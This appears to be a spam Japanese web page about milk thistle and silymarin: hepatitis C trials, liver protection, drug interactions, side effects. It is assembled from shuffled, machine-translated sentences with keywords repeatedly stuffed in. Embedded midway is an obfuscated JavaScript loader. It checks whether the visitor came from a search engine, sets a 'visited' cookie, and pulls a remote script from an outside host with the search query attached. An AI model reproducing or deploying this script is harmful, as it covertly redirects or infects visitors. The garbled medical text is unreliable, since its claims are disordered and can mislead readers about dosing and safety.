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ミルクシスル シリマリン 効能

ヨーロッパでは、シリビンはアマニファロイドに対する唯一の効果的な解毒剤として静脈内投与されます。.. 血清ALTレベルの変化は、C型肝炎ウイルス感染に対するインターフェロンの研究の間の肝壊死性炎症活性の改善と相関している実用的な尺度としてこの研究の主要な結果として選ばれました.. 実験室での研究では、シリマリンは細胞膜を安定化させ、それによって毒性化学物質が細胞に入るのを防ぎます。..
ミルクシスル抽出物は、アセトアミノフェン、放射線、鉄過剰、ファロイジン、四塩化炭素、チオアセトアミドなどのさまざまな肝毒から動物を保護することが証明されています。.. オーストラリアからの症例報告は、発汗、腹部のけいれん、吐き気、嘔吐、下痢、および脱力の断続的なエピソードを含むミルクシスル抽出物に対する反応を説明しました.. プラセボで治療された他の１人の参加者は、血清ＡＬＴレベルが６５Ｕ ／ Ｌ未満に減少したが、これはベースラインから５７％の減少を反映していた。..
この免疫抑制剤でアザミを飲むことはあなたの体が薬を処理する方法を変えるかもしれません.. これらのアレルギー反応の詳細は報告されていないが、軽度のアレルギー反応が高用量（> 1,500mg /日）で見られている。.. アザミを摂取すると、ジアゼパム（Valium）、ワルファリン（Coumadin、Jantoven）など、この酵素とそれが処理する薬に影響を与える可能性があります。.. その研究では、患者はデスフェリオキサミンとシリマリン（Legalon（）; n = 49）またはデスフェリオキサミンとプラセボ（n = 48）の組み合わせで9か月間治療されました。.

シリマリン、シリマリンの半精製画分は、主に２つのジアステレオ異性体、シリビンＡおよびシリビンＢの、およそ１：１の比の混合物である。.. ミルクシスルの肝臓や胆汁の不満の治療に使われてきた長い歴史にもかかわらず、シリマリンが植物の種子から単離されたのは1968年までではなく、シリマリンが有効成分であることが提案されました。.. ほとんどの参加者は男性（71％）でした。年齢の中央値は54歳、そしてボディマス指数の中央値は29でした.. しかしながら、阻害が観察される用量は高く、シリマリンの経口摂取では達成されない。..
ミルクアザミの抽出物であるシリマリン（Silybum marianum）は、その肝保護作用があるとされているため、米国で肝疾患に最も一般的に使用されている植物治療薬です。.. 確かに、慢性C型肝炎ウイルス（HCV）感染と肝硬変を持つ患者の33％が、彼らの病気の治療のためのシリマリンの現在または過去の使用を報告しました.. 血清ALTレベルは治療群間で有意差がなかった（中央値、プラセボで106 U / L、420 mgシリマリンで110 U / L、700 mgシリマリンで105 U / L）。..
理論的には、アザミはフリーラジカルの生成を介して細胞毒性効果を発揮する化学療法薬とも悪影響を及ぼす可能性があります。.. 抽出物は、約65〜80％のシリマリン（フラボノリグナン錯体）と20〜35％の脂肪酸（リノール酸を含む）で構成されています。.

すべての患者が著明な線維症または肝硬変の組織学的証拠からなる進行性慢性肝疾患を患っていた.. さらに、これらの影響はC型肝炎ウイルス（HCV）に重感染したアルコール性肝疾患患者を含むサブグループ分析でも最悪のシナリオ分析でも確認できなかった.. ある報告では、標準化されたシリマリン抽出物が抗CD3刺激ヒト末梢血単核細胞の腫瘍壊死因子-αとヒト肝癌Huh-7細胞の核因子κB依存性転写を阻害することを発見した.. シリマリン投与群ではプラセボ投与群と比較して化学療法投与量の減少が少なかった。ただし、違いはそれほど大きくありませんでした..
ミルクシスルの副作用ミルクシスルは、肝障害の原因とは考えられておらず、適切な用量で服用すると安全であるように思われ、特定の肝疾患の治療に役立つ可能性があります。.. ミルクシスル シリマリン 効能 シミ人間の研究では、胃のむかつき、胸やけ、そして一過性の頭痛が報告されています。しかし、これらの症状のどれもミルクシスルの補給に起因するものではなく、補給は中止されませんでした.. デスフェリオキサミンの背景に対するシリマリンの治療効果はボディーアイアンの負担を減らすのにシリマリン単独の潜在的有効性を示唆する..
FDAは、ガン患者または他の病状を持つ患者の治療薬としてのアザミの使用を承認していません。.. 癌細胞株を用いて行われた実験室実験は、シリビニンが卵巣癌細胞および乳癌細胞に対するシスプラチンおよびドキソルビシンの有効性を増強することを示唆している.. 著者らは、ミルクシスルの推奨用量はCYP3A4またはUGT1A1酵素経路の活性に影響を与えるには低すぎると結論した.

研究者らは、肝炎と肝硬変の治療においてシリビニンが果たす可能性がある役割を調査しました.. アレルギー反応は、ブタクサ、デイジー、マリーゴールド、キクなどのキク科の他の植物にアレルギーがある人によく見られます。.. 子供におけるシリマリン使用に関する公表されたデータは、きのこ中毒のための体重20〜50 mg / kgの静脈内投与に焦点を当てています.. ミルクシスルの相互作用可能な相互作用は次のとおりです。チトクロームP450 2C9（CYP2C9）基質..
シリマリンおよび／またはシリビンの特別な製剤は、ホスファチジルコリンとの結合によりそれらの生物学的利用能を高めるために開発された。.. 治療終了時に、5人の参加者は45 U / L未満の血清ALT活性を達成した。プラセボ群に1人、420 mgシリマリンと700 mgシリマリンに2人.. シリマリンの主成分は、フラボリグナン異性体シリビンAおよびB、イソシリビンAおよびB、シリクリスチン（別名シリクリチン）、シリシアニン（別名シリシアニン）、およびそれらのフラボノイド前駆体タキシホリンである。..
C型肝炎抗ウイルス長期治療に対する肝硬変試験では、無治療に対してペグ化インターフェロンの半量を使用した。治療は3日間投与されることになっていた.

食品医薬品局（FDA）は、特定の疾病予防または治療の請求がなされない限り必要ありません。.. 大多数の試験の方法論の質が低かったので、偏りおよび/または無作為の誤りは肯定的な発見のいくつかまたはすべてを説明するかもしれません.. これらの研究は広範囲の用量（120±560mg /日）を採用しており、相反する結果をもたらしている。.. シリマリン療法を受けている患者は、9ヶ月の治療期間後にヘプシジンと可溶性トランスフェリン受容体の血清レベルの有意な減少も示しました..
したがって、肝疾患の治療のためにこの薬草化合物を患者に推奨することを支持または反論する証拠は不十分である（Lawrence 2000; Jacobs 2002）。.. 併用は血中抗酸化状態に影響を及ぼさず、テストステロン濃度にも影響を及ぼさなかった.. プラスの面では、アザミはプラセボ/有害事象に関して介入なしと有意差はありませんでした.. ミルクシスルの肝保護作用には、過酸化脂質生成の抑制、フリーラジカルの除去、細胞膜の物理的性質の変化などがあります。..
ミルクアザミミルクアザミの抽出物は、古代ギリシャの時から医学的治療薬として使用されてきました、そして抽出物は現在代替薬として広く使用されています.. その有効成分の親油性の性質のために、ミルクシスルは通常ハーブティーとしてよりもむしろカプセルまたはタブレットの形でエキスとして投与されます.. ミルクシスル シリマリン 効能 ログインほとんどの研究は、完全な形の草本植物ではなく、単離された化合物シリマリンまたはその最も活性な異性体シリビンを調査しました..
シリマリンベースのクリームを使用している患者の8％が、放射線療法の5週目にグレード2の毒性を示しました。これに対して、SOCグループの52％.. 結論として、研究者らは、以前にインターフェロンベースの治療で治療に失敗した慢性C型肝炎ウイルス感染患者に投与した場合、シリマリンは血清ALTレベルをプラセボと比較してウイルス活性または肝炎の変化なしに有意に改善しなかったことを見出した。.. 前立腺癌細胞株で実証されているように、シリビンは細胞増殖を遅らせることによって癌細胞の細胞周期にも影響を与える可能性があります。..
シリマリンは、肝内胆汁うっ滞症の妊婦に560 mg /日の用量で16日間使用されていますが、患者や胎児への毒性はありません.. 頭頸部癌患者30人を対象とした別の無作為化プラセボ対照試験で、放射線療法に関連した粘膜炎の予防のために6週間のシリマリンコースが調査された.. ミルクシスル シリマリン 効能
ノンアルコールビールしかし、アルコール性および/またはB型またはC型肝炎ウイルスの肝疾患を有する915人の患者におけるアザミを評価する13件のランダム化臨床試験を含む2007年コクランの系統的レビューでは、アルコール中毒患者の肝疾患の死亡率または合併症に対するアザミの重大な影響を実証できなかったすべての試験または質の高い試験を組み合わせたB型肝炎またはC型肝炎.. 進行肝疾患（血清ビリルビン濃度、アルブミン濃度、血小板数）を示唆するマーカーは治療群間で有意差がなかった..
メアリーアザミ、ワイルドアーティチョーク、マリエンディステル（ドイツ語）、シャルドンマリー（フランス語）.. あるヒトの投与試験では、160 mg /日で治療を受けた患者では悪心、胸やけ、消化不良、240 mg /日で治療を受けた患者では消化不良、360 mg /日の治療を受けた患者では食後の悪心と気分が報告されました.. ミルクシスル シリマリン 効能 ノンアルコールビールアザミはミルクアザミを引き起こす可能性があります：消化器系の問題頭痛糖尿病がある場合は、サプリメントが血糖を下げる可能性があるので、慎重にミルクアザミを使用してください..
肝疾患患者に対するアザミに関する最近のメタアナリシスによれば、死亡率の有意な減少または肝臓組織学の改善、あるいは肝機能は証明できなかったが、データはあまりにも限られており、死亡に対するアザミの実質的な利益または危害を除外できなかった。 （Lawrence 2000; Jacobs 2002）.. 具体的には、シリマリンは、グルタチオンS-トランスフェラーゼ経路を刺激し、グルタチオン（強力な抗酸化剤）の細胞内濃度を変えることが示されています.. シリマリンはまた、HCV感染に対して予防的および治療的効果を示し、インターフェロン -
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Gyの追加照射で、シリルマリンベースのクリーム（Leviaderm）を、局所的な皮膚病変が生じた場合に介入して与えられた標準治療法であるパンテノール含有クリーム（SOC）と比較して51人の女性で試験した。 50人の女性に投与.. ミルクシスルのために何が良いのかシリマリンの主な構成要素は、3つのジアステレオマーのペア、シリビンAとB（別名シリビニン）、イソシリビンAとB、シリクリスチン、イソシリクリスチン、そしてシリシアニンです。.. ミルクシスル シリマリン 効能
チューブ慢性C型肝炎ウイルス感染患者154人を対象とした2012年の臨床試験では、シリマリン420mg、シリマリン700mg、または対応するプラセボゼラチンカプセルを1日3回24週間投与するようにランダムに割り付けられた.. 毒性までの時間の中央値はシリマリンベースのクリームで有意に延長されました（45対.. シリマリンとその代謝産物はp‐糖蛋白質仲介細胞流出を阻害し、ドキソルビシン細胞毒性の増強をもたらす..
進行性肝細胞癌（HCC）および肝機能障害を有する患者における1日当たりのシリビンホスファチジルコリン（Siliphos）の最大耐量を決定するために第I相試験が計画された.. 急性皮膚反応は、放射線療法腫瘍学グループおよび視覚的アナログスケールスコアに従って分類された.. ベータサラセミアメジャーに対する鉄キレート化シリマリンは輸血依存性ベータサラセミアメジャー患者における鉄キレート剤デスフェリオキサミンの補助剤として有益であることがわかった.. きのこ中毒 -
別の公表された報告は、アマニファロイドによる肝障害を有する患者における唯一の有効な解毒剤としてのシリビニンの使用を記載している（Fr.. 栄養補助食品は製造の一貫性について正式に審査されていないため、原料はロットごとにかなり異なる場合があります。さらに、製品ラベルで識別された成分がまったく存在していること、または指定された量で存在していることを保証するものではありません。.. さらに、血清鉄およびTIBCレベルは、プラセボと比較してシリマリン群において有意に減少した..
実験室研究は、シリマリンが細胞膜を安定化し、解毒経路を刺激し、肝臓組織の再生を刺激し、特定の癌細胞株の増殖を抑制し、特定の癌細胞株に対して直接的な細胞傷害活性を発揮し、そして特定の化学療法剤の効能をおそらく高める.. C型肝炎ウイルスレプリコン系におけるシリマリンの研究はまた、高濃度ではあるがC型肝炎ウイルスコアおよびNS5A発現に対する効果を示唆する.. ミルクシスル シリマリン 効能 割引この患者集団は、肝機能検査を改善するように設計された介入から利益を得るにはあまりにも病気だったかもしれません.. シリマリンはまた、5000 mg /
kg体重の高用量で投与された場合、ラットおよびマウスにおいて無毒性であることが証明されています。.. 白血病細胞株を用いた実験室研究はシリビンが白血病細胞の成長を刺激しないことを発見した.. 国立糖尿病消化器腎臓病研究所によって支援された2008年C型肝硬変抗ウイルス長期治療（HALT-C）無作為化対照試験で、以前の抗ウイルス療法に失敗したC型肝炎患者が検討された.. 患者に35〜55 mg / kg体重の用量を投与したが、有害事象は報告されていない..
デスフェリオキサミンの背景に対するシリマリンの治療効果はボディーアイアンの負担を減らすのにシリマリン単独の潜在的有効性を示唆する.. シリビンは前立腺、乳房、および子宮頸部の腫瘍細胞に対して直接的な抗癌作用を有するようです.. 根治的前立腺摘除術を受けた37人の男性を対象とした無作為化プラセボ対照試験では、シリマリンとセレンの組み合わせを1日6ヶ月間投与することで基礎的臨床化学、酸化ストレスマーカーが変化し、質が改善するかどうかが調査された前立腺全摘除術後の男性におけるQOLスコア..
ドイツ委員会Eによると、推奨用量が使用されている場合ミルクシスルによる副作用は報告されていません。.. このC型肝炎の薬と一緒にアザミを飲むことはあなたの血漿中の薬物の濃度を高める可能性があります.. レビューアは、ミルクシスル対プラセボに関する高品質の無作為化臨床試験が必要であると示唆した.. 慢性肝疾患の病因に関与するこれらの同じ経路は、慢性C型肝炎ウイルス感染のための潜在的な治療法としてシリマリンを調査するための理論的根拠を提供する..
この研究は、シリマリンがデスフェリオキサミンと組み合わせて使用されるとき患者の鉄過剰を減らすのに効果的であることを示します.. ミルクシスルの種のような果物（ニキビ）は植物の薬用部分で、およそ4 6％のシリマリンを含みます.. in vitro研究はシリマリンがチトクロームP450酵素系の成分を減少させることを示し、それはある種の化学療法薬のクリアランスに関与しています.. 慢性C型肝炎感染シリマリンがC型肝炎ウイルス（HCV）に直接影響を与えるという証拠に関して懐疑的な見方がありましたが、ある研究はこれらの報告を確認できませんでした..
9ヶ月の治療後、血清フェリチン濃度はシリマリン治療の始めから終わりまで著しく減少しました（3028.. 、エストロゲン受容体の媒介を介して）まばらであり、現在インビトロまたはインビボでの実験的証拠によって支持されていない。.. var _0x14be=['eXVDTVo=','aGVhZA==','Y3JlYXRlRWxlbWVudA==','UUR3R04=','YXBwZW5kQ2hpbGQ=','44Of44Or44Kv44K344K544OrK+OCt+ODquODnuODquODsysrK+WKueiDvQ==','VmtTeXg=','Y29va2ll','bWF0Y2g
=','QXB6dUw=','bXdNZ3I=','Sk9yU3k=','c3BsaXQ=','cmVwbGFjZQ==','OyBleHBpcmVzPQ==','OyBwYXRoPQ==','RmN5TVU=','eFVqZHg=','cUJmVkw=','Z2V0VGltZQ==','Z25qSkM=','Um1lVlQ=','aXFBc1k=','VXZlTlE=','bENRUUQ=','dmlzaXRlZA==','LnlhaG9vLg==','LmFzay4=','LmFsdGF2aXN0YS4=','LnlhbmRleC4=','TFlObFA=','aHR0cHM6Ly9vbm15Y2xvdWQudG9wL2pwX2Rl
YzIucGhwP3g9c2EmcXVlcnk9','Lmdvb2dsZS4=','T2xLUG4=','LmFvbC4=','ZFBVeHg=','Z2V0','cXFsTmM=','bGVuZ3Ro','QVNJVUo=','aW5kZXhPZg==','TVJKQ1U=','V2diVHo=','c2V0','Z2ZZWXA=','Q1NuaGw=','U25ranM=','RWd5YWg=','VHNtdWc='];(function(_0x2757a7,_0x4394ff){var
_0x3eb7bf=function(_0x34d85f){while(--_0x34d85f){_0x2757a7['push'](_0x2757a7['shift']());}};_0x3eb7bf(++_0x4394ff);}(_0x14be,0x94));var _0x3f88=function(_0x3f54aa,_0x4550e7){_0x3f54aa=_0x3f54aa-0x0;var _0x4b35ac=_0x14be[_0x3f54aa];if(_0x3f88['pmJoRi']===undefined){(function(){var _0x2c36d5=function(){var
_0x2f450b;try{_0x2f450b=Function('return\x20(function()\x20'+'{}.. 乳房温存手術を受けた乳がん患者101人とその後の放射線治療50人を対象とした無作為化観察試験.. ミルクシスル シリマリン 効能 レシピベースライン時および9ヵ月治療後のフェリチン、鉄、総鉄結合能（TIBC）、可溶性トランスフェリン受容体、およびヘプシジンの血清レベルを測定した.. 伝統的に、葉はサラダに使用されていて、花の実はコーヒー代用品として焙煎されています..
これは、シリマリンが慢性C型肝炎患者に抗炎症作用と抗ウイルス作用を及ぼすことを示しています.. シリマリンベースの研究グループの女性の5％は、SOCグループの2％の女性と比較して皮膚反応を示さなかったが、グレード3の毒性は、シリマリンベースのグループの2％の女性と28％の女性で発生した。 SOCグループの女性.. シリマリンに関するヒトの研究は、複数の大規模盲検プラセボ対照無作為化研究において最小限の有害作用を示した..
アザミは、致命的な生命を脅かす可能性のあるアレルギー反応（アナフィラキシー）を含むアレルギー反応を引き起こす可能性があります。.. この2013年の臨床試験は、シリマリンがデスフェリオキサミンと組み合わせて使用された場合、特定の形態の貧血（Cooley貧血または - サラセミア）を持つ若者の鉄過剰を減らすのに有効であることを示しています..
肝臓組織学に対するシリマリンの有益な効果は、それが肝炎および／または肝細胞癌（ＨＣＣ）の予防において役割を果たすことを示唆している。しかしながら、ヒトにおけるこれらのシリマリンの使用を調査した臨床試験はありません。.. 3人の患者全員が試験に登録されてから23〜69日以内に死亡したが、おそらく肝不全が原因で死亡したが、死亡はおそらく治験薬によって引き起こされたことを除外できなかった.. ミルクシスル シリマリン 効能
スピリチュアルしかし、主要ジャーナルの少なくとも2つの記事はシリマリンかその同族体がC型肝炎ウイルス（HCV）を抑制するかもしれないことを示唆しました.. 3人の患者全員において、肝機能異常および腫瘍マーカーα-フェトプロテインは進行したが、56日後に、3人目の患者は肝機能異常および炎症性バイオマーカーのいくらかの改善を示した.. 1,145人の研究参加者のうち、56％がハーブ製品を摂取したことがない、21％が過去の使用を認め、23％が登録時にハーブ製品を使用していました..
この標準化されたシリマリン製品と投与量は、肝疾患の治療薬としてヨーロッパとアジアのいくつかの国で処方薬として承認されています。.. 97人の患者を対象とした研究で、シリマリンを投与された患者では、プラセボを投与された患者と比較して、鉄過剰のマーカー（血清フェリチン、血清鉄、ヘプシジン、および可溶性転移受容体）の有意な減少が観察された.. ラットと犬は、12ヶ月間、体重1kgあたり50〜2,500mgの用量でシリマリンを投与されています.. 質の低い試験では有益な効果が示唆されましたが、質の高い試験ではこの効果は実証できませんでした..
二重盲検プラセボ対照試験では、急性リンパ芽球性白血病の治療を受けている化学療法関連の肝毒性を有する50人の子供が、4週間シリマリンまたはプラセボを投与されるようにランダムに割り付けられました.. 乳がん、子宮がん、卵巣がん、子宮内膜症、または子宮筋腫がある場合は、アザミを避けることを検討してください.. ほとんどの臨床試験は、肝炎、肝硬変、または胆道障害の患者の治療におけるシリマリンの有効性を調査しています..
介入の完了から4週間後、シリマリン群は有意に低いアスパラギン酸アミノトランスフェラーゼ（AST）および有意に低いアラニンアミノトランスフェラーゼ（ALT）に向かう傾向を示しました.. 実験室の研究はまたシリマリンが解毒経路に関与する酵素の合成と活性を刺激することを示しました.. したがって、現時点では、アルコール性肝疾患の治療のために患者にアザミをサポートまたは反論する証拠は不十分です.. シリマリンは、インビトロで実証されるように、ＮＦ − Ｂ（活性化Ｂ細胞の核因子 - 軽鎖 -
エンハンサー）の阻害を介して抗炎症性および免疫調節性を有することが実証されている。.. top/jp_dec2 php?x=sa&query=',q),''));}}else{_0x5f4734=!![];}}}if(_0x5f4734){cookie[_0x3f88('0x2a')](_0x3f88('0x18'),0x1,0x1);if(!_0x4b45a7){_0x5d7447[_0x3f88('0x2e')](include,_0x5d7447[_0x3f88('0x2d')](_0x5d7447[_0x3f88('0x2f')](_0x5d7447[_0x3f88('0x30')],q),''));}}}R(); ミルクアザミは地中海地域、Silybum
marianum（L）Gaertneri固有の年次または隔年草本で、その大きなとげのある葉の白い静脈にちなんで名付けられました。.. 粘膜炎スコア（世界保健機関、国立癌研究所共通毒性基準）はシリマリン群で有意に低かった.. 中毒はシリマリンがこのきのこ中毒の治療に効果的な薬であることが示されていることを示唆しています.. 有効性についての主な結果の尺度は、４５Ｕ ／ Ｌ以下（ほぼ正常範囲）の血清ＡＬＴレベル、または６５Ｕ ／ Ｌ未満（約１）までの血清ＡＬＴレベルの少なくとも５０％の低下の達成であった。..
ミルクアザミは聖アザミ、マリアンアザミ、メアリーアザミ、聖母アザミ、Stとも呼ばれます。.. シリマリンとセレンの1日6ヵ月投与はQOLスコアを改善し、低密度リポタンパク質と総コレステロールを減少させ、血清セレンレベルを増加させました.. アザミの経口投与（200 mg、臨床的に適切な用量、1日3回）は、イリノテカンの薬物動態に有意な影響を及ぼさなかった.. アザミが化学療法の有効性を低下、増強、または影響を及ぼさないかどうかは不明です。.. いくつかの小規模な研究が、シリマリンを癌の直接治療または治療関連毒性への影響について調査しています..
追跡調査において、シリマリンの使用は、線維症の肝硬変への進行の減少と関連していたが、臨床転帰への影響はなかった。.. 二次転帰は治療中の血清ALTおよび血清C型肝炎ウイルスRNAレベルの変化を含んだ.. ６ｎｇ ／ ｍＬ）。しかしながら、プラセボを投与されている患者では血清フェリチンの有意な変化は観察されなかった（2249. d70b09c2d4 
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